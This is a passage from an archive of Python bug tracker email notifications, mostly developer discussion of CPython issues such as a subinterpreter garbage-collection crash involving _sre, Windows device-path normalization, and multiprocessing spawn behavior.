r'C:\LPT1', r'C:\LPT2', r'C:\LPT3', r'C:\LPT9', r'C:\foo. . .', ] for path in paths: print(os.path.abspath(path)) """ 3.11 before C:\CON C:\PRN C:\AUX C:\NUL C:\COM1 C:\COM2 C:\COM3 C:\COM9 C:\LPT1 C:\LPT2 C:\LPT3 C:\LPT9 C:\foo. . . 3.11 after \\.\CON \\.\PRN \\.\AUX \\.\NUL \\.\COM1 \\.\COM2 \\.\COM3 \\.\COM9 \\.\LPT1 \\.\LPT2 \\.\LPT3 \\.\LPT9 C:\foo 3.10.1 \\.\CON \\.\PRN \\.\AUX \\.\NUL \\.\COM1 \\.\COM2 \\.\COM3 \\.\COM9 \\.\LPT1 \\.\LPT2 \\.\LPT3 \\.\LPT9 C:\foo """ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 08:59:41 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 13 Jan 2022 13:59:41 +0000 Subject: [issue46359] Continue to modernize `test_typing.py` In-Reply-To: <1642021860.94.0.97959181938.issue46359@roundup.psfhosted.org> Message-ID: <1642082381.05.0.50583023054.issue46359@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 09:28:10 2022 From: report at bugs.python.org (Dong-hee Na) Date: Thu, 13 Jan 2022 14:28:10 +0000 Subject: [issue46358] Modernize `test_asyncio/test_base_events.py` In-Reply-To: <1642020816.84.0.177230839646.issue46358@roundup.psfhosted.org> Message-ID: <1642084090.94.0.0584091562.issue46358@roundup.psfhosted.org> Dong-hee Na added the comment: New changeset f779faccd3a7a7e8c372492e858d021c449cdd85 by Nikita Sobolev in branch 'main': bpo-46358: modernize `test_asyncio` (GH-30562) https://github.com/python/cpython/commit/f779faccd3a7a7e8c372492e858d021c449cdd85 ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 10:00:28 2022 From: report at bugs.python.org (Alex Waygood) Date: Thu, 13 Jan 2022 15:00:28 +0000 Subject: [issue46358] Modernize `test_asyncio/test_base_events.py` In-Reply-To: <1642020816.84.0.177230839646.issue46358@roundup.psfhosted.org> Message-ID: <1642086028.16.0.928477489912.issue46358@roundup.psfhosted.org> Change by Alex Waygood : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 10:29:41 2022 From: report at bugs.python.org (Ned Deily) Date: Thu, 13 Jan 2022 15:29:41 +0000 Subject: [issue46326] 'venv --clear' should prompt user before nuking entire directory In-Reply-To: <1641805306.76.0.639944392664.issue46326@roundup.psfhosted.org> Message-ID: <1642087781.07.0.93873187942.issue46326@roundup.psfhosted.org> Change by Ned Deily : ---------- nosy: -ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 10:32:44 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 15:32:44 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642087964.12.0.933766942461.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: When the crash occurs, the _sre.compile function is not destroyed in the interpreter which created the function. The crash is related to _sre.compile method. This method is created in PyInit__sre() called by "import _sre". On Windows, the _sre module is not imported at startup. So it's imported first in a subinterpreter. In Python 3.9, the _sre module doesn't use the multiphase initialization API and PyModuleDef.m_size = -1. When the module is imported, _PyImport_FixupExtensionObject() copies the module dictionary into PyModuleDef.m_copy. In Py_Finalize() and Py_EndInterpreter(), _PyImport_Cleanup() does two things: * (1) set _sre.__dict__['compile'] to None -> kill the first reference to the function * (2) call _PyInterpreterState_ClearModules() which does Py_CLEAR(def->m_base.m_copy), clear the cached copy of the _sre module dict -> kill the second reference I modified Python to add an "ob_interp" member to PyObject to log in which interpreter an object is created. I also modified meth_dealloc() to log when _sre.compile function is deleted. Extract of the reformatted output to see what's going on: --- (...) (1) fixup: COPY _sre ModuleDef copy: def=00007FFF19209810 interp=000001EC1846F2A0 (2) import: UPDATE(_sre ModuleDef copy): interp=000001EC184AB790 (3) _PyImport_Cleanup: interp=000001EC1846F2A0 _PyInterpreterState_ClearModules: PY_CLEAR _sre ModuleDef m_copy: def=00007FFF19209810 interp=000001EC1846F2A0 (4) _PyImport_Cleanup: interp=000001EC184AB790 meth_dealloc(compile): m->ob_interp=000001EC1846F2A0, interp=000001EC184AB790 Windows fatal exception: access violation (...) --- Steps: * (1) * interpreter #1 (000001EC1846F2A0) creates the _sre.compile function * interpreter #1 (000001EC1846F2A0) copies _sre module dict into PyModuleDef.m_copy * at this point, _sre.compile should have 2 references * (2) * interpreter #2 (000001EC184AB790) imports _sre: it creates a new module object and copies the function from PyModuleDef.m_copy * at this point, _sre.compile should have 3 references * (3) * interpreter #1 exit: Py_EndInterpreter() calls _PyImport_Cleanup() * at this point, _sre.compile should have 1 reference * (4) * interpreter #2 exit: Py_EndInterpreter() calls _PyImport_Cleanup() * the last reference to _sre.compile is deleted: 0 reference * meth_dealloc() is called The first problem is that the function was created in the interpreter #1 but deleted in the interpreter #2. The second problem is that the function is tracked by the GC and it is part of the GC list of the interpreter #1. When the interpreter #2 destroys the function, the GC list of interpreter #1 is already freed: PyGC_Head contains dangling pointers. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 10:42:25 2022 From: report at bugs.python.org (Julien Palard) Date: Thu, 13 Jan 2022 15:42:25 +0000 Subject: [issue45729] [doc] "history and license" link has wrong target In-Reply-To: <1636128373.81.0.436284013167.issue45729@roundup.psfhosted.org> Message-ID: <1642088545.85.0.284485464649.issue45729@roundup.psfhosted.org> Julien Palard added the comment: > dev docs direct to `/license.html` which redirects to `/3/license.html` All docs are redirecting to `/license.html`, this allow it to work also out of docs.python.org. > 3.9 docs have the same; wouldn?t it be better to have `/3.9/license.html`? It's maybe a slight better yes (the page should be the same so I don't know if it make real difference), but doing so means a bit of complexity, which I don't think is worth it. I tried to keep it simple for this fix (the previous state was "links to the current page" which was worse). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 11:17:16 2022 From: report at bugs.python.org (Julien Palard) Date: Thu, 13 Jan 2022 16:17:16 +0000 Subject: [issue46318] asyncio and ssl: ResourceWarning: unclosed transport In-Reply-To: <1641740693.62.0.185226666966.issue46318@roundup.psfhosted.org> Message-ID: <1642090636.61.0.103026344733.issue46318@roundup.psfhosted.org> Julien Palard added the comment: Probably related to https://bugs.python.org/issue44011 and https://github.com/MagicStack/uvloop/pull/385 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 11:38:26 2022 From: report at bugs.python.org (Daniel Carpenter) Date: Thu, 13 Jan 2022 16:38:26 +0000 Subject: [issue32912] Raise non-silent warning for invalid escape sequences In-Reply-To: <1519324497.82.0.467229070634.issue32912@psf.upfronthosting.co.za> Message-ID: <1642091906.09.0.654682158295.issue32912@roundup.psfhosted.org> Daniel Carpenter added the comment: I'm not sure if this is an issue or by design, but this DeprecationWarning behaves differently to other DeprecationWarnings. A normal DeprecationWarning triggered by code in __main__ is printed by default: $ python -c 'import warnings; warnings.warn("test", DeprecationWarning)' :1: DeprecationWarning: test But this one is silent: $ python -c '"\,"' [no output] To see this DeprecationWarning at all, I need to type: $ python -Wdefault -c '"\,"' :1: DeprecationWarning: invalid escape sequence '\,' But that enables this DeprecationWarning for all modules, not just __main__ . I've tested this with Python 3.9 on debian bullseye and the 3.10 docker image. ---------- nosy: +dansebcar _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 12:04:03 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 17:04:03 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642093443.56.0.651473615365.issue46070@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28776 pull_request: https://github.com/python/cpython/pull/30577 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 12:18:29 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 17:18:29 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642094309.88.0.170377821972.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: Oh. I managed to write a simple fix which doesn't require to revert the whole "per-interpreter GC" change: GH-30577. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 12:31:53 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 17:31:53 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642095113.7.0.233625691568.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: This issue has a complex history. (*) I made the GC state per-interpreter: commit 7247407c35330f3f6292f1d40606b7ba6afd5700 (Nov 20, 2019) (*) This change triggered a _PyImport_FixupExtensionObject() bug in sub-interpreter, I fixed it with commit 82c83bd907409c287a5bd0d0f4598f2c0538f34d (Nov 22, 2019) (*) My _PyImport_FixupExtensionObject() fix introduced bpo-44050 regression, it was fixed by commit b9bb74871b27d9226df2dd3fce9d42bda8b43c2b (Oct 5, 2021) (*) A race condition in the _asyncio extension has been identified and fixed by the commit b127e70a8a682fe869c22ce04c379bd85a00db67 (Jan 7, 2021) (*) I identified a race condition introduced by the per-interpreter GC state cahnge: I proposed GH-30577 to fix it. So far, the GC race condition has only been reproduced on Windows with Python 3.9 and the _sre exception. On Python 3.10 and newer, it's harder to reproduce the crash using stdlib extensions since many of them have been ported to the multi-phase initializatioin API. The GC race condition involves dangling pointers and depends on the memory allocator and when GC collections are triggered. The bug is that a C function object (_sre.compile) is created in an interpreter, tracked by the GC list of this interpreter, and then it is destroye and untracked in another interpreter. The problem is that the object is untracked after the GC list has been destroyed and so "prev" and "next" objects of the PyGC_Head structure *can* become dangling pointers. It's unclear to me what are the "prev" and "next" objects of the C function causing the crash (_sre.compile). At least, it seems like it's also used by more than one interpreter: it should *not* be done, see bpo-40533. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 12:32:56 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 17:32:56 +0000 Subject: [issue40533] [subinterpreters] Don't share Python objects between interpreters In-Reply-To: <1588777895.61.0.395509624257.issue40533@roundup.psfhosted.org> Message-ID: <1642095176.04.0.253367863966.issue40533@roundup.psfhosted.org> STINNER Victor added the comment: Sharing objects between multiple interpreters can cause complex bugs leading to crashes: https://bugs.python.org/issue46070#msg410493 For this specific bug, I wrote a workaround (GH-30577). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 13:12:00 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 13 Jan 2022 18:12:00 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1642095113.7.0.233625691568.issue46070@roundup.psfhosted.org> Message-ID: Eric Snow added the comment: > (*) I made the GC state per-interpreter: commit 7247407c35330f3f6292f1d40606b7ba6afd5700 (Nov 20, 2019) FYI, this was done by me in an earlier comment which we ended up reverting. Later you basically un.reverted that. > The bug is that a C function object (_sre.compile) is created in an interpreter, tracked by the GC list of this interpreter, and then it is destroye and untracked in another interpreter. FWIW, at one point I had a branch that supported sharing read-only Py_Buffer data. When the receiving interpreter was done with it I'd call Py_AddPendingCall() to schedule the cleanup in the "owner" interpreter. However, this only worked because I kept track of the owner. Adding that pointer to every object wouldn't be feasible but I suppose there are other things we could do that wouldn't be super inefficient, like don't worry about it for the main interpreter, use a hash table (Victor's idea), borrow some of the bits of the PyObject head to store a flag or even an index into an array (if there are only a few interpreters), or even make the allocator per-interpreter and then extrapolate the interpreter based on the object's address. Regardless, it is still much simpler to make all objects per-interpreter. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 13:22:07 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 18:22:07 +0000 Subject: [issue46355] [C API] Document PyFrameObject and PyThreadState changes and explain how to port code to Python 3.11 In-Reply-To: <1641996684.93.0.427230565464.issue46355@roundup.psfhosted.org> Message-ID: <1642098127.3.0.571731108544.issue46355@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 0885999a8e5ffad3fae0302675ad0030e33a15af by Victor Stinner in branch 'main': bpo-46355: Document PyFrameObject and PyThreadState changes (GH-30558) https://github.com/python/cpython/commit/0885999a8e5ffad3fae0302675ad0030e33a15af ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 13:23:11 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 18:23:11 +0000 Subject: [issue46355] [C API] Document PyFrameObject and PyThreadState changes and explain how to port code to Python 3.11 In-Reply-To: <1641996684.93.0.427230565464.issue46355@roundup.psfhosted.org> Message-ID: <1642098191.83.0.339222544915.issue46355@roundup.psfhosted.org> STINNER Victor added the comment: I merged my PR so the doc can be reviewed online at https://docs.python.org/dev/whatsnew/3.11.html once it will be rendered ;-) ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 13:24:37 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 18:24:37 +0000 Subject: [issue44133] Some C-API symbols (e.g. Py_FrozenMain) are not always exported In-Reply-To: <1621011524.07.0.0957325647121.issue44133@roundup.psfhosted.org> Message-ID: <1642098277.1.0.0125467662035.issue44133@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 6be848922bc0f4c632c255c39de82a45b6480286 by Victor Stinner in branch 'main': bpo-44133: Link Python executable with object files (GH-30556) https://github.com/python/cpython/commit/6be848922bc0f4c632c255c39de82a45b6480286 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 13:27:51 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 18:27:51 +0000 Subject: [issue44133] Some C-API symbols (e.g. Py_FrozenMain) are not always exported In-Reply-To: <1621011524.07.0.0957325647121.issue44133@roundup.psfhosted.org> Message-ID: <1642098471.87.0.168405427557.issue44133@roundup.psfhosted.org> STINNER Victor added the comment: > New changeset 6be848922bc0f4c632c255c39de82a45b6480286 by Victor Stinner in branch 'main': > bpo-44133: Link Python executable with object files (GH-30556) Sadly, Py_FrozenMain() is still missing on Windows. See: https://github.com/python/cpython/pull/30556#issuecomment-1012032712 Until Windows also exports the symbol, I don't think that we can add the symbol to the stable ABI. I prefer to not backport the change since it's always risky to break the build system on a stable branch. If someone wants to fix the Windows build to also export Py_FrozenMain(), please open a new issue. I consider that the initial issue is fixed, so I close the issue. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 13:28:02 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 18:28:02 +0000 Subject: [issue44133] Some C-API symbols (e.g. Py_FrozenMain) are not always exported on Unix In-Reply-To: <1621011524.07.0.0957325647121.issue44133@roundup.psfhosted.org> Message-ID: <1642098482.6.0.575999410995.issue44133@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: Some C-API symbols (e.g. Py_FrozenMain) are not always exported -> Some C-API symbols (e.g. Py_FrozenMain) are not always exported on Unix _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 13:28:40 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 18:28:40 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642098520.2.0.416514047624.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 1a4d1c1c9b08e75e88aeac90901920938f649832 by Victor Stinner in branch 'main': bpo-46070: _PyGC_Fini() untracks objects (GH-30577) https://github.com/python/cpython/commit/1a4d1c1c9b08e75e88aeac90901920938f649832 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 13:28:51 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 13 Jan 2022 18:28:51 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642098531.81.0.491860388325.issue46070@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28777 pull_request: https://github.com/python/cpython/pull/30578 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 13:28:55 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 13 Jan 2022 18:28:55 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642098535.55.0.686878244919.issue46070@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28778 pull_request: https://github.com/python/cpython/pull/30579 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 13:30:47 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 18:30:47 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642098647.27.0.929561169896.issue46070@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28779 pull_request: https://github.com/python/cpython/pull/30580 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 13:35:35 2022 From: report at bugs.python.org (Mark Shannon) Date: Thu, 13 Jan 2022 18:35:35 +0000 Subject: [issue45786] Avoid allocating when exiting frame; it may be unsafe. In-Reply-To: <1636643049.78.0.0321804916993.issue45786@roundup.psfhosted.org> Message-ID: <1642098935.83.0.113572192969.issue45786@roundup.psfhosted.org> Mark Shannon added the comment: With https://bugs.python.org/issue45963 both frame objects and generators contain space for the frame, so no allocation occurs on exit. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 13:36:52 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 18:36:52 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642099012.54.0.111418342154.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: I tested manually my fix GH-30580 using: * (1) attached win_py399_crash_reproducer.py * (2) https://bugs.python.org/issue46070#msg410447 mthod Without my fix, I can easily reproduce the crash with (1) and (2). With my fix, I can no longer reproduce the crash with (1) or (2). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 13:39:38 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 13 Jan 2022 18:39:38 +0000 Subject: [issue1927] Change input() to always prompt to stderr In-Reply-To: <1201206078.95.0.997961854688.issue1927@psf.upfronthosting.co.za> Message-ID: <1642099178.7.0.780180013784.issue1927@roundup.psfhosted.org> Terry J. Reedy added the comment: Further discussion at https://discuss.python.org/t/builtin-function-input-writes-its-prompt-to-sys-stderr-and-not-to-sys-stdout/12955 ---------- nosy: +terry.reedy versions: +Python 3.11 -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 13:50:18 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 13 Jan 2022 18:50:18 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642099818.74.0.291402673045.issue46070@roundup.psfhosted.org> miss-islington added the comment: New changeset e6bb17fe29713368e1fd93d9ac9611017c4f570c by Miss Islington (bot) in branch '3.10': bpo-46070: _PyGC_Fini() untracks objects (GH-30577) https://github.com/python/cpython/commit/e6bb17fe29713368e1fd93d9ac9611017c4f570c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 14:12:58 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 19:12:58 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642101178.49.0.273207534272.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 52937c26adc35350ca0402070160cf6dc838f359 by Victor Stinner in branch '3.9': bpo-46070: _PyGC_Fini() untracks objects (GH-30577) (GH-30580) https://github.com/python/cpython/commit/52937c26adc35350ca0402070160cf6dc838f359 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 14:17:01 2022 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 13 Jan 2022 19:17:01 +0000 Subject: [issue45569] Drop support for 15-bit PyLong digits? In-Reply-To: <1634898107.47.0.88725686674.issue45569@roundup.psfhosted.org> Message-ID: <1642101421.73.0.930037420695.issue45569@roundup.psfhosted.org> Mark Dickinson added the comment: Thanks, Stefan. I think I'm going to go ahead with the first step of making 30-bit digits the default, then, but leaving the 15-bit digit option present. > That said, if we decide to keep 15-bit digits in the end, I wonder if "SIZEOF_VOID_P" is the right decision point. It seems more of a "has reasonably fast 64-bit multiply or not" kind of decision Agreed. And most platforms we care about _do_ seem to have such an instruction, so "30-bit digits unless the builder explicitly indicates otherwise - e.g., via configure options or pyconfig.h edits" seems reasonable. My other worry is division. It's less important than multiplication in the sense that I'd expect division operations to be rarer than multiplications in typical code, but the potential impact for code that _does_ make heavy use of division is greater. With 30-bit digits, all the longobject.c source actually *needs* is a 64-bit-by-32-bit unsigned division for cases where the result is guaranteed to fit in a uint32_t. If we're on x86, there's an instruction for that (DIVL), so you'd think that we'd be fine. But without using inline assembly, it seems impossible to persuade current versions of either of GCC or Clang[*] to generate that DIVL instruction - instead, they both want to do a 64-bit-by-64-bit division, and on x86 that involves making a call to a dedicated __udivti3 intrinsic, which is potentially multiple times slower than a simple DIVL. The division problem affects x64 as well: GCC and Clang currently generate a DIVQ instruction when all we need is a DIVL. > If we find a platform that would be fine with 30-bits but lacks a fast 64-bit multiply, then we could still try to add a platform specific value size check for smaller numbers. Since those are common case, branch prediction might help us more often than not. Yes, I think that could work, both for multiplication and division. [*] Visual Studio 2019 _does_ apparently provide a _udiv64 intrinsic, which we should possibly be attempting to use: https://docs.microsoft.com/en-us/cpp/intrinsics/udiv64?view=msvc-170 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 14:20:59 2022 From: report at bugs.python.org (jakirkham) Date: Thu, 13 Jan 2022 19:20:59 +0000 Subject: [issue46367] multiprocessing's "spawn" doesn't actually use spawn Message-ID: <1642101659.38.0.387431242507.issue46367@roundup.psfhosted.org> New submission from jakirkham : Reporting an issue recently encountered by a colleague. It appears the `multiprocessing`'s "spawn" mode doesn't actually use POSIX spawn, but instead uses fork+exec[1]. While this is certainly a useful feature in its own right, this not quite one would expect from something described as spawn. AFAICT the documentation doesn't point this out. This is important as some libraries are not fork-safe and even fork+exec is not sufficient to protect them. Would be helpful if "spawn" did use POSIX spawn and the current behavior was covered under a clearer name (like "forkexec"). Ref: 1. https://github.com/python/cpython/blob/af6b4068859a5d0c8afd696f3c0c0155660211a4/Lib/multiprocessing/util.py#L448-L458 ---------- components: Library (Lib) messages: 410512 nosy: jakirkham priority: normal severity: normal status: open title: multiprocessing's "spawn" doesn't actually use spawn type: behavior versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 14:44:29 2022 From: report at bugs.python.org (Ethan Furman) Date: Thu, 13 Jan 2022 19:44:29 +0000 Subject: [issue40066] Enum: modify __repr__, __str__; update docs In-Reply-To: <1585165738.23.0.618463548627.issue40066@roundup.psfhosted.org> Message-ID: <1642103069.55.0.0898645235411.issue40066@roundup.psfhosted.org> Change by Ethan Furman : ---------- pull_requests: +28780 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30582 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 14:45:10 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 19:45:10 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642103110.32.0.0117794058721.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: It would be nice to add some tests. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 14:49:29 2022 From: report at bugs.python.org (Brandt Bucher) Date: Thu, 13 Jan 2022 19:49:29 +0000 Subject: [issue46361] Small ints aren't always cached properly In-Reply-To: <1642027840.32.0.139240461948.issue46361@roundup.psfhosted.org> Message-ID: <1642103369.5.0.0284572714819.issue46361@roundup.psfhosted.org> Change by Brandt Bucher : ---------- keywords: +patch pull_requests: +28781 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30583 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 14:52:16 2022 From: report at bugs.python.org (Brandt Bucher) Date: Thu, 13 Jan 2022 19:52:16 +0000 Subject: [issue46361] Small ints aren't always cached properly In-Reply-To: <1642027840.32.0.139240461948.issue46361@roundup.psfhosted.org> Message-ID: <1642103536.25.0.323989636564.issue46361@roundup.psfhosted.org> Brandt Bucher added the comment: The attached PR doesn't seem to have any impact on Decimal performance (non-optimized, non-debug build on a fairly quiet laptop): main: Convert 262,000 Decimals to "small" ints: 31.7 ms +- 5.3 ms Convert 256,000 Decimals to 1-digit ints: 29.9 ms +- 3.1 ms Convert 256,000 Decimals to 2-digit ints: 30.4 ms +- 2.8 ms Convert 256,000 Decimals to 3-digit ints: 31.2 ms +- 3.1 ms patched: Convert 262,000 Decimals to "small" ints: 30.9 ms +- 4.0 ms Convert 256,000 Decimals to 1-digit ints: 29.5 ms +- 3.0 ms Convert 256,000 Decimals to 1-digit ints: 30.5 ms +- 2.5 ms Convert 256,000 Decimals to 1-digit ints: 31.0 ms +- 2.3 ms ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 14:53:45 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 13 Jan 2022 19:53:45 +0000 Subject: [issue40479] Port _hashlib to OpenSSL 3.0.0 In-Reply-To: <1588497803.18.0.937746880221.issue40479@roundup.psfhosted.org> Message-ID: <1642103625.39.0.491054314862.issue40479@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +28782 pull_request: https://github.com/python/cpython/pull/30584 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 14:54:52 2022 From: report at bugs.python.org (jakirkham) Date: Thu, 13 Jan 2022 19:54:52 +0000 Subject: [issue41226] Supporting `strides` in `memoryview.cast` In-Reply-To: <1594087287.71.0.356108904694.issue41226@roundup.psfhosted.org> Message-ID: <1642103692.11.0.320538567007.issue41226@roundup.psfhosted.org> jakirkham added the comment: The 2nd argument is the `strides`. IOW it is just specifying how to traverse the buffer in memory to visit each of the dimensions. For the first example where `strides` is not specified, Python makes them C-ordered. IOW `m2.strides` would be `(3, 1)`. Effectively this is represented like this: ``` [[ b"a", b"c", b"e"], [ b"b", b"d', b"f"]] ``` For the second case where strides are overridden (so `m2.strides` would be `(1, 2)`), we get something like this: ``` [[b"a", b"b", b"c"], [b"d", b"e", b"f"]] ``` In either case the `1` here has specified which dimension is fastest to traverse along. IOW that content is adjacent in memory. Should add the reason it is `1` is that for `uint8_t` (or format "B"), this is that type's size. If we had a different format, this would be the size of that format. HTH ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 14:58:03 2022 From: report at bugs.python.org (Brett Cannon) Date: Thu, 13 Jan 2022 19:58:03 +0000 Subject: [issue46360] Inconsistent import behavior for (unusual) submodules In-Reply-To: <1642025090.39.0.843504931319.issue46360@roundup.psfhosted.org> Message-ID: <1642103883.58.0.808765675631.issue46360@roundup.psfhosted.org> Brett Cannon added the comment: So which inconsistency do you want to change because you listed three and this is only one issue. ? I'm going to assume the "even though sys.modules has `None`" case, which I think is an oversight and should probably get fixed, but I also don't know what promises the language spec makes around this. As for the other two, you can open separate issues if you want to discuss them, but I double-check what the language spec says as I am tempted to say both are fine (and specifically in the latter case that's on you to have not messed up and left the attribute off). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 15:13:31 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 20:13:31 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: 